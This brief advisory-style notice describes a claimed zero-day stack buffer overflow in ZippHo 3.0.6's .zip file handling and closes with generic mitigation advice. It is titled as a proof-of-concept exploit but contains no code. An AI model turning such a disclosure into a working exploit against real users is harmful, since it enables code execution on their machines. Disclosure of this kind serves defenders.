ZippHo 3.0.6 (.zip) 0day stack buffer overflow PoC exploit

This is a proof-of-concept exploit for a stack buffer overflow vulnerability in ZippHo 3.0.6. The exploit takes advantage of a flaw in the handling of .zip files, allowing an attacker to overflow a buffer and potentially execute arbitrary code.

Mitigation:

The vendor should release a patch to fix the buffer overflow vulnerability. In the meantime, users are advised to avoid opening or downloading untrusted .zip files.
